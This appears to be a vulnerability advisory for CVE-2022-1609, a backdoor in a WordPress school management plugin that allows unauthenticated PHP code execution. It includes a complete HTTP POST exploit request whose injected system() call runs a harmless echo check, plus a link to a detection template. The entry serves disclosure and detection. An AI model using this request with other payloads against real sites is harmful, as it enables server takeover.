| Title | The School Management < 9.9.7 - Remote Code Execution |
|---|---|
| Author | For3stCo1d |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Upgrade The School Management to version 9.9.7 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93495 |
| CVE ID | CVE-2022-1609 |
| CWE ID | CWE-94 |
| Tags | cve cve2022 rce wp backdoor wpscan wordpress weblizar vkev vuln |
The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it’s license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.
POST /wp-json/am-member/license HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36
Connection: close
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
blowfish=1&blowf=system('echo CVE-2022-1609 | rev');
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1609.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1609.pcap
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